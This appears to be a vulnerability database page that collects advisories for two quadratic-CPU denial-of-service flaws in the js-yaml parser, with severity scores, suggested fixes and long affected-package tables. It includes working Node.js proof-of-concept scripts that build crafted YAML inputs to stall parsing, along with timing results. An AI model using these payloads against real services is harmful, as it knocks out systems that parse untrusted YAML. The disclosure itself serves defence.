CVE-2026-59869
js-yaml: YAML merge-key chains can force quadratic CPU consumption
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
js-yaml: YAML merge-key chains can force quadratic CPU consumption
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
- Record
CVE-2026-59869- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
EUVDEUVD-2026-42301
7.5
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
- Record
EUVD-2026-42301- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-52cp-r559-cp3m
7.5
js-yaml: YAML merge-key chains can force quadratic CPU consumption
Impact
js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
- Record
GHSA-52cp-r559-cp3m- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-407
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5p4m-2wfm-xmqj
7.5
JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported
Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)
Summary
resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear
scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution
O(n²) in the number of entries. A modestly sized YAML document therefore
consumes disproportionate CPU inside yaml.load(), giving a denial of service
against any consumer that parses untrusted YAML.
!!omap is registered in the default schema
(lib/schema/default.js → require('../type/omap')), so a plain
yaml.load(untrustedInput) with no options is affected — no custom schema or
non-default configuration is required.
This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.
Affected versions
| Line | Latest tested | Status |
|---|---|---|
| 3.x | 3.15.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29 |
| 4.x | 4.3.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30 |
| 5.x | 5.2.2 | Not affected — fixed in 5.2.1 (uses a Set) |
Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.
Details
lib/type/omap.js (js-yaml 4.3.0):
if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false
objectKeys grows by one element per entry, and Array.prototype.indexOf is a
linear scan, so resolving an n-entry !!omap performs roughly
1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously
inside yaml.load(), blocking the event loop for its whole duration.
The 5.x line already solves exactly this by tracking seen keys in a Set
(src/tag/sequence/omap.ts):
if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)
Proof of concept
// poc.js — node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';
for (const n of [10000, 20000, 40000, 80000]) {
const d = doc(n), t = Date.now();
yaml.load(d); // default schema, no options
console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}
Measured (node v20.20.2, default heap, no flags)
js-yaml 4.3.0
n=10000 bytes=137787 load=54ms
n=20000 bytes=297787 load=169ms
n=40000 bytes=617787 load=646ms
n=80000 bytes=1257787 load=2607ms
js-yaml 3.15.0
n=10000 bytes=137787 load=53ms
n=20000 bytes=297787 load=166ms
n=40000 bytes=617787 load=641ms
n=80000 bytes=1257787 load=2567ms
Runtime grows by a factor of ~4 for each doubling of n, which is the
signature of O(n²) (linear growth would be ~2×).
Scaling further: a 2.48 MB document with 150,000 entries blocked
yaml.load() for 10.8 seconds.
Impact
Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.
Suggested severity: consistent with CVE-2026-59870 (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.
Suggested fix
Mirror the 5.x fix — replace the linear scan with a Set:
// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)
This preserves the existing duplicate-key rejection semantics exactly while
making resolution O(n). A maxOmapLength-style cap would also work, but the
Set matches what 5.x already ships and requires no new option.
References
- CVE-2026-59870 /…
- Record
GHSA-5p4m-2wfm-xmqj- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
NVD
7.5
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
- Record
CVE-2026-59869- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSV
7.5
js-yaml: YAML merge-key chains can force quadratic CPU consumption
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
- Record
CVE-2026-59869- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
Show 27 moreShow less
OSVDEBIAN-CVE-2026-59869
7.5
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
- Record
DEBIAN-CVE-2026-59869- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVGHSA-52cp-r559-cp3m
7.5
js-yaml: YAML merge-key chains can force quadratic CPU consumption
Impact
js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
- Record
GHSA-52cp-r559-cp3m- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-407
- Updated
- 2026-11-02
OSVGHSA-5p4m-2wfm-xmqj
7.5
JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported
Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)
Summary
resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear
scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution
O(n²) in the number of entries. A modestly sized YAML document therefore
consumes disproportionate CPU inside yaml.load(), giving a denial of service
against any consumer that parses untrusted YAML.
!!omap is registered in the default schema
(lib/schema/default.js → require('../type/omap')), so a plain
yaml.load(untrustedInput) with no options is affected — no custom schema or
non-default configuration is required.
This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.
Affected versions
| Line | Latest tested | Status |
|---|---|---|
| 3.x | 3.15.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29 |
| 4.x | 4.3.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30 |
| 5.x | 5.2.2 | Not affected — fixed in 5.2.1 (uses a Set) |
Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.
Details
lib/type/omap.js (js-yaml 4.3.0):
if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false
objectKeys grows by one element per entry, and Array.prototype.indexOf is a
linear scan, so resolving an n-entry !!omap performs roughly
1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously
inside yaml.load(), blocking the event loop for its whole duration.
The 5.x line already solves exactly this by tracking seen keys in a Set
(src/tag/sequence/omap.ts):
if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)
Proof of concept
// poc.js — node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';
for (const n of [10000, 20000, 40000, 80000]) {
const d = doc(n), t = Date.now();
yaml.load(d); // default schema, no options
console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}
Measured (node v20.20.2, default heap, no flags)
js-yaml 4.3.0
n=10000 bytes=137787 load=54ms
n=20000 bytes=297787 load=169ms
n=40000 bytes=617787 load=646ms
n=80000 bytes=1257787 load=2607ms
js-yaml 3.15.0
n=10000 bytes=137787 load=53ms
n=20000 bytes=297787 load=166ms
n=40000 bytes=617787 load=641ms
n=80000 bytes=1257787 load=2567ms
Runtime grows by a factor of ~4 for each doubling of n, which is the
signature of O(n²) (linear growth would be ~2×).
Scaling further: a 2.48 MB document with 150,000 entries blocked
yaml.load() for 10.8 seconds.
Impact
Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.
Suggested severity: consistent with CVE-2026-59870 (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.
Suggested fix
Mirror the 5.x fix — replace the linear scan with a Set:
// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)
This preserves the existing duplicate-key rejection semantics exactly while
making resolution O(n). A maxOmapLength-style cap would also work, but the
Set matches what 5.x already ships and requires no new option.
References
- CVE-2026-59870 /…
- Record
GHSA-5p4m-2wfm-xmqj- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVRHSA-2026:37532
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:37532- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:37534
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:37534- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:37577
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:37577- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:38187
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:38187- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:38236
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:38236- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:38304
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:38304- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:40415
8.1
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:40415- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:57590
8.6
Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update
- Record
RHSA-2026:57590- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
OSVRHSA-2026:71113
9.9
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:71113- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:71114
9.9
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:71114- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-59869
7.5
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
- Record
UBUNTU-CVE-2026-59869- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVAZL-92192 No score
CVE-2026-59869 affecting package js-jquery 3.5.0-4
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
- Record
AZL-92192- Updated
- 2026-11-05
OSVCLSA-2026-1774570935 No score
TuxCare security update for js-yaml (5 CVEs)
TuxCare rebuilt js-yaml to address 5 CVEs. Fixed in 3.7.0-tuxcare.1.
- Record
CLSA-2026-1774570935- Updated
- 2026-11-02
OSVCLSA-2026-1781484837 No score
TuxCare security update for js-yaml (3 CVEs)
TuxCare rebuilt js-yaml to address 3 CVEs. Fixed in 3.14.1-tuxcare.1.
- Record
CLSA-2026-1781484837- Updated
- 2026-11-02
OSVCLSA-2026-1784596292 No score
TuxCare security update for js-yaml (1 CVE)
TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 4.1.0-tuxcare.2.
- Record
CLSA-2026-1784596292- Updated
- 2026-11-02
OSVCLSA-2026-1784682988 No score
TuxCare security update for js-yaml (3 CVEs)
TuxCare rebuilt js-yaml to address 3 CVEs. Fixed in 3.14.2-tuxcare.1.
- Record
CLSA-2026-1784682988- Updated
- 2026-11-02
OSVCLSA-2026-1784683084 No score
TuxCare security update for js-yaml (1 CVE)
TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 3.14.1-tuxcare.2.
- Record
CLSA-2026-1784683084- Updated
- 2026-11-02
OSVCLSA-2026-1789749920 No score
TuxCare security update for js-yaml (1 CVE)
TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 4.3.0-tuxcare.1.
- Record
CLSA-2026-1789749920- Updated
- 2026-11-02
OSVCLSA-2026-1790187722 No score
TuxCare security update for js-yaml (1 CVE)
TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 3.7.0-tuxcare.3.
- Record
CLSA-2026-1790187722- Updated
- 2026-11-02
OSVCLSA-2026-1790522263 No score
TuxCare security update for js-yaml (2 CVEs)
TuxCare rebuilt js-yaml to address 2 CVEs. Fixed in 4.2.0-tuxcare.1.
- Record
CLSA-2026-1790522263- Updated
- 2026-11-02
OSVCLSA-2026-1790963665 No score
TuxCare security update for js-yaml (5 CVEs)
TuxCare rebuilt js-yaml to address 5 CVEs. Fixed in 3.13.1-tuxcare.1.
- Record
CLSA-2026-1790963665- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12070-1 No score
velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media
These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12070-1- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-59869 No score
CVE-2026-59869 in js-yaml - Patched by Root
Root has patched CVE-2026-59869 in the js-yaml package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-59869- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-5p4m-2wfm-xmqj No score
GHSA-5p4m-2wfm-xmqj in js-yaml - Patched by Root
Root has patched GHSA-5p4m-2wfm-xmqj in the js-yaml package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-5p4m-2wfm-xmqj- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
js-yamlnpm |
3.0.0 up to 3.15.0 | 3.15.0 |
js-yamlnpm |
4.0.0 up to 4.3.0 | 4.3.0 |
js-yamlnpm |
4.0.0 up to 4.3.1 | 4.3.1 |
js-yamlnpm |
3.0.0 up to 3.15.1 | 3.15.1 |
js-jqueryAzure Linux:3 |
through 3.5.0-4 | None known |
js-yamlTuxCare:npm From an advisory covering 2 CVEs |
3.7.0-tuxcare.0 up to 3.7.0-tuxcare.1, plus listed versions 3.7.0 |
3.7.0-tuxcare.1 |
js-yamlTuxCare:npm From an advisory covering 2 CVEs |
3.14.1-tuxcare.0 up to 3.14.1-tuxcare.1, plus listed versions 3.14.1 |
3.14.1-tuxcare.1 |
js-yamlTuxCare:npm |
4.1.0-tuxcare.0 up to 4.1.0-tuxcare.2, plus listed versions 4.1.04.1.0-tuxcare.1 |
4.1.0-tuxcare.2 |
js-yamlTuxCare:npm From an advisory covering 2 CVEs |
3.14.2-tuxcare.0 up to 3.14.2-tuxcare.1, plus listed versions 3.14.2 |
3.14.2-tuxcare.1 |
js-yamlTuxCare:npm |
3.14.1-tuxcare.0 up to 3.14.1-tuxcare.2, plus listed versions 3.14.13.14.1-tuxcare.1 |
3.14.1-tuxcare.2 |
Show 137 moreShow less
| Package | Affected | Fixed |
|---|---|---|
js-yamlTuxCare:npm |
4.3.0-tuxcare.0 up to 4.3.0-tuxcare.1, plus listed versions 4.3.0 |
4.3.0-tuxcare.1 |
js-yamlTuxCare:npm |
3.7.0-tuxcare.0 up to 3.7.0-tuxcare.3, plus listed versions 3.7.03.7.0-tuxcare.13.7.0-tuxcare.2 |
3.7.0-tuxcare.3 |
js-yamlTuxCare:npm |
4.2.0-tuxcare.0 up to 4.2.0-tuxcare.1, plus listed versions 4.2.0 |
4.2.0-tuxcare.1 |
js-yamlTuxCare:npm From an advisory covering 4 CVEs |
3.13.1-tuxcare.0 up to 3.13.1-tuxcare.1, plus listed versions 3.13.1 |
3.13.1-tuxcare.1 |
node-js-yamlDebian:12 |
All versions, plus listed versions 4.1.0+dfsg+~4.0.5-74.1.1+dfsg+~4.0.9-14.2.0+~4.0.9-14.2.0+~4.0.9-24.3.2+~4.0.9-1 |
None known |
node-js-yamlDebian:13 |
All versions, plus listed versions 4.1.0+dfsg+~4.0.5-74.1.1+dfsg+~4.0.9-14.2.0+~4.0.9-14.2.0+~4.0.9-24.3.2+~4.0.9-1 |
None known |
node-js-yamlDebian:14 |
before 4.2.0+~4.0.9-2, plus listed versions 4.1.0+dfsg+~4.0.5-74.1.1+dfsg+~4.0.9-14.2.0+~4.0.9-1 |
4.2.0+~4.0.9-2 |
nodejs26Red Hat:hummingbird:1 |
before 0:26.4.0-1.4.hum1 | 0:26.4.0-1.4.hum1 |
nodejs26-binRed Hat:hummingbird:1 |
before 0:26.4.0-1.4.hum1 | 0:26.4.0-1.4.hum1 |
nodejs26-develRed Hat:hummingbird:1 |
before 0:26.4.0-1.4.hum1 | 0:26.4.0-1.4.hum1 |
nodejs26-docsRed Hat:hummingbird:1 |
before 0:26.4.0-1.4.hum1 | 0:26.4.0-1.4.hum1 |
nodejs26-full-i18nRed Hat:hummingbird:1 |
before 0:26.4.0-1.4.hum1 | 0:26.4.0-1.4.hum1 |
nodejs26-libsRed Hat:hummingbird:1 |
before 0:26.4.0-1.4.hum1 | 0:26.4.0-1.4.hum1 |
nodejs26-npmRed Hat:hummingbird:1 |
before 0:11.17.0-1.26.4.0.1.4.hum1 | 0:11.17.0-1.26.4.0.1.4.hum1 |
nodejs26-npm-binRed Hat:hummingbird:1 |
before 0:26.4.0-1.4.hum1 | 0:26.4.0-1.4.hum1 |
v8-14.6-develRed Hat:hummingbird:1 |
before 0:14.6.202.34-1.26.4.0.1.4.hum1 | 0:14.6.202.34-1.26.4.0.1.4.hum1 |
nodejs25Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:25.9.0-1.3.hum1 | 0:25.9.0-1.3.hum1 |
nodejs25-binRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:25.9.0-1.3.hum1 | 0:25.9.0-1.3.hum1 |
nodejs25-develRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:25.9.0-1.3.hum1 | 0:25.9.0-1.3.hum1 |
nodejs25-docsRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:25.9.0-1.3.hum1 | 0:25.9.0-1.3.hum1 |
nodejs25-full-i18nRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:25.9.0-1.3.hum1 | 0:25.9.0-1.3.hum1 |
nodejs25-libsRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:25.9.0-1.3.hum1 | 0:25.9.0-1.3.hum1 |
nodejs25-npmRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:11.12.1-1.25.9.0.1.3.hum1 | 0:11.12.1-1.25.9.0.1.3.hum1 |
nodejs25-npm-binRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:25.9.0-1.3.hum1 | 0:25.9.0-1.3.hum1 |
v8-14.1-develRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:14.1.146.11-1.25.9.0.1.3.hum1 | 0:14.1.146.11-1.25.9.0.1.3.hum1 |
dotnet-sdk-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.128-1.1.hum1 | 0:8.0.128-1.1.hum1 |
dotnet-sdk-8.0-source-built-artifactsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.128-1.1.hum1 | 0:8.0.128-1.1.hum1 |
dotnet-sdk-dbg-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.128-1.1.hum1 | 0:8.0.128-1.1.hum1 |
dotnet-templates-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.128-1.1.hum1 | 0:8.0.128-1.1.hum1 |
dotnet8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.128-1.1.hum1 | 0:8.0.128-1.1.hum1 |
aspnetcore-runtime-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.28-1.1.hum1 | 0:8.0.28-1.1.hum1 |
aspnetcore-runtime-dbg-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.28-1.1.hum1 | 0:8.0.28-1.1.hum1 |
aspnetcore-targeting-pack-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.28-1.1.hum1 | 0:8.0.28-1.1.hum1 |
dotnet-apphost-pack-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.28-1.1.hum1 | 0:8.0.28-1.1.hum1 |
dotnet-hostfxr-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.28-1.1.hum1 | 0:8.0.28-1.1.hum1 |
dotnet-runtime-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.28-1.1.hum1 | 0:8.0.28-1.1.hum1 |
dotnet-runtime-dbg-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.28-1.1.hum1 | 0:8.0.28-1.1.hum1 |
dotnet-targeting-pack-8.0Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:8.0.28-1.1.hum1 | 0:8.0.28-1.1.hum1 |
cargoRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
clippyRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rustRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-analyzerRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-debugger-commonRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-docRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-gdbRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-lldbRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-srcRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-staticRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
